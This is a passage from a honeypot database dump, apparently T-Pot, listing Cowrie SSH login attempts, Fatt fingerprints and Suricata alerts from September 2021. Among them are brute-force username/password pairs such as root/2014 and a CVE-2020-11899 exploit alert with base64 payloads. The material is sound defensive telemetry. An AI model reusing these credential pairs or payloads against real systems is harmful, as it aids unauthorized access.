"2021-09-20T11:13:59.857Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27347	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:01.46137+03	2021-09-20 14:15:14.458674+03	{"_id": "2QbpAnwBvYTbRNuErybK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [transfer/transfer] failed", "session": "a235e0e49439", "@version": "1", "password": "transfer", "username": "transfer", "timestamp": "2021-09-20T11:14:01.461370Z", "@timestamp": "2021-09-20T11:14:01.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27348	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:17.078331+03	2021-09-20 14:15:14.460675+03	{"_id": "bgbpAnwBvYTbRNuE7Sea", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34940, "dest_port": 443, "timestamp": "2021-09-20T11:14:17.078331", "@timestamp": "2021-09-20T11:14:17.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27349	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:14:17.118224+03	2021-09-20 14:15:14.461674+03	{"_id": "bwbpAnwBvYTbRNuE7Sea", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34940, "timestamp": "2021-09-20T11:14:17.118224", "@timestamp": "2021-09-20T11:14:17.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27350	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:14:16.856705+03	2021-09-20 14:15:14.462675+03	{"_id": "dQbpAnwBvYTbRNuE7idX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "53eded6d5055", "@version": "1", "timestamp": "2021-09-20T11:14:16.856705Z", "@timestamp": "2021-09-20T11:14:16.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27351	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:14:17.848888+03	2021-09-20 14:15:14.464647+03	{"_id": "dgbpAnwBvYTbRNuE8CdN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1493, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1789, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 233124064259552, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 33469, "timestamp": "2021-09-20T11:14:17.848888Z", "@timestamp": "2021-09-20T11:14:17.848Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27352	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:14:17.940072+03	2021-09-20 14:15:14.465646+03	{"_id": "egbpAnwBvYTbRNuE8SeD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34942, "timestamp": "2021-09-20T11:14:17.940072", "@timestamp": "2021-09-20T11:14:17.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27353	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:18.074897+03	2021-09-20 14:15:14.467648+03	{"_id": "gAbpAnwBvYTbRNuE8idC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:50866 (192.168.176.2:22) [session: b407bfae6fd0]", "session": "b407bfae6fd0", "@version": "1", "protocol": "ssh", "src_port": 50866, "dest_port": 22, "timestamp": "2021-09-20T11:14:18.074897Z", "@timestamp": "2021-09-20T11:14:18.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27354	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:14:18.316423+03	2021-09-20 14:15:14.468679+03	{"_id": "fwbpAnwBvYTbRNuE8idC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/20102010] failed", "session": "53eded6d5055", "@version": "1", "password": "20102010", "username": "root", "timestamp": "2021-09-20T11:14:18.316423Z", "@timestamp": "2021-09-20T11:14:18.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27355	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:19.240438+03	2021-09-20 14:15:14.469675+03	{"_id": "iAbpAnwBvYTbRNuE9icp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b407bfae6fd0", "@version": "1", "timestamp": "2021-09-20T11:14:19.240438Z", "@timestamp": "2021-09-20T11:14:19.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27356	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:14:19.237438+03	2021-09-20 14:15:14.470684+03	{"_id": "igbpAnwBvYTbRNuE-Cce", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2087562093651561, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50866, "dest_port": 22, "timestamp": "2021-09-20T11:14:19.237438Z", "@timestamp": "2021-09-20T11:14:19.237Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27357	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:14:19.963742+03	2021-09-20 14:15:14.472675+03	{"_id": "iwbpAnwBvYTbRNuE-Cce", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:14:19.963742+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557267719326, "payload": "AAAABAMAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf+NuT8EAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:14:19.963742Z", "@timestamp": "2021-09-20T11:14:19.963Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........................................?................................"}}	1	\N	\N	alert	\N	\N
27358	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:14:20.022655+03	2021-09-20 14:15:14.473677+03	{"_id": "jgbpAnwBvYTbRNuE-Cch", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:14:19.963742+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 300}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557267719326, "payload": "AAAABAMAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf+NuT8EAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:14:20.022655Z", "@timestamp": "2021-09-20T11:14:20.022Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........................................?................................"}}	1	\N	\N	alert	\N	\N
27364	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:14:08.013295+03	2021-09-20 14:15:14.480646+03	{"_id": "PAbpAnwBvYTbRNuEySc3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1738119258774336, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35706, "dest_port": 22, "timestamp": "2021-09-20T11:14:08.013295Z", "@timestamp": "2021-09-20T11:14:08.013Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27359	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:14:20.271889+03	2021-09-20 14:15:14.475646+03	{"_id": "jwbpAnwBvYTbRNuE_CcH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:14:20.271889+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ff8d:b93f", "flow_id": 1343789722248721, "payload": "AAAAAP6AAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:14:20.271889Z", "@timestamp": "2021-09-20T11:14:20.271Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............"}}	1	\N	\N	alert	\N	\N
27360	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:14:20.886156+03	2021-09-20 14:15:14.476674+03	{"_id": "kAbpAnwBvYTbRNuE_Sf6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2014] failed", "session": "53eded6d5055", "@version": "1", "password": "2014", "username": "root", "timestamp": "2021-09-20T11:14:20.886156Z", "@timestamp": "2021-09-20T11:14:20.886Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27361	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:14:21.28107+03	2021-09-20 14:15:14.477646+03	{"_id": "kQbpAnwBvYTbRNuE_yfx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:14:21.279955+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 240}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751763150227, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:14:21.281070Z", "@timestamp": "2021-09-20T11:14:21.281Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
27362	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:06.654963+03	2021-09-20 14:15:14.478646+03	{"_id": "IAbpAnwBvYTbRNuExieF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52592, "timestamp": "2021-09-20T11:14:06.654963", "@timestamp": "2021-09-20T11:14:06.654Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
